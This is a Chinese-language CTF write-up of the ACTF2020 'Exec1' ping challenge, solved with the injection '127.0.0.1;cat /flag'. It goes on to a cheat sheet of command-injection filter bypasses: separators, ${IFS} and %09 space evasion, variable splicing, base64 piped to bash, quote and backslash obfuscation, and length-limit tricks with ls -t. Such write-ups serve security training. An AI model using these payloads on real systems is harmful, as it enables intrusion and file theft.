ACTF2020-新生赛-Exec1

ping ip 可以直接拿到

127.0.0.1;cat /flag 拿到flag

对于这个未加过滤的题目可以利用常见的管道符进行执行命令

1. Windows系统支持的管道符

1
2
3
4
1、|(就是按位或),直接执行|后面的语句
2、||(就是逻辑或),如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句
3、&(就是按位与),&前面和后面命令都要执行,无论前面真假
4、&&(就是逻辑与),如果前面为假,后面的命令也不执行,如果前面为真则执行两条命令

2. Linux系统支持的管道符

1
|、||、&、&& 这四种管道符都存在且用法和Windows 系统下一样,多了一个; 管道符,作用和& 一样

3. 空格过滤

1
${IFS} , ${IFS}$1 , $IFS$1 ,这些就可以加在 cat flag 之间

4. 重定向符<>

1
cat<>flag ,cat<flag

5. %09(需要php环境)

1
例 如 :cat%09/flag 

6. 拼接

1
a=c;b=at;c=fl;d=ag;$a$b $c$d

7. base64编码

1
2
echo "Y2F0IGZsYWc="|base64 -d (Y2F0IGZsYWc=是cat flag的64编码形式)
或者:echo "Y2F0IGZsYWc="|base64 -d|bash

8. 单引号,双引号

1
c""at fl''ag

9. 反斜线

1
c\at fl\ag

10. $1、$2等和$@

1
c$1at fl$@ag

11. 读文件绕过

1
2
3
4
5
6
7
8
9
10
11
12
当cat被过滤时,可以使用如下命令代替
1.more:一页一页的显示档案内容
2.less:与 more 类似,但是比more更好的是,它可以[pg dn][pg up]翻页
3.head:查看头几行
4.tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
5.tail:查看尾几行
6.nl:显示的时候,顺便输入行号
7.od:以二进制的方式读取档案内容
8.vi/vim:一种编辑器,也可以查看文档内容
9.sort:可以查看
10.uniq:可以查看
11.file -f:报错出具体内容

12. 内敛执行绕过

1
``,$ 都可以添加命令(在前面一个符合之间,在后面一个符合之后添加什么 cat flag 的命令)

13. Linux中的>符号和>>符号

1
2
3
4
5
通过> 将命令结果存入文件中
使用> 命令会将原有文件内容覆盖,如果是存入不存在的文件名,那么就会新建该文件再存入
例如:linux 命令行:echo "cat flag">flag.txt ;这样cat flag.txt 存入 cat flag这个命令,;利用 sh
flag 就可以执行命令得到flag 了
>> 符号的作用是将字符串添加到文件内容末尾,不会覆盖原内容

14. Linux中命令换行:

1
2
3
4
利用 \ 换行符,可以在命令之间添加这个换行符,把要执行的命令换到下一行,这样就可以在某些有
长度限制命令的时候可以将命令一条条输入到一个文本中然后执行命令了。
例如: echo "ca\\">flag , echo "t\\">flag , echo "fl\\">flag``echo "ag\\">flag
这样再 sh flag 就可以得到flag 了

15. 利用ls -t和>以及换行符绕过长度限制执行命令(文件构造绕过)

1
2
3
4
5
6
7
8
在linux 中,我们使用ls -t 命令后,可以将文件名按照时间顺序排列出来(后创建的排在前面)
就可以如下依次在 linux 命令行中执行:
>"ag"
>"fl\\"
>"t\\"
>"ca\\"
ls -t >a
sh a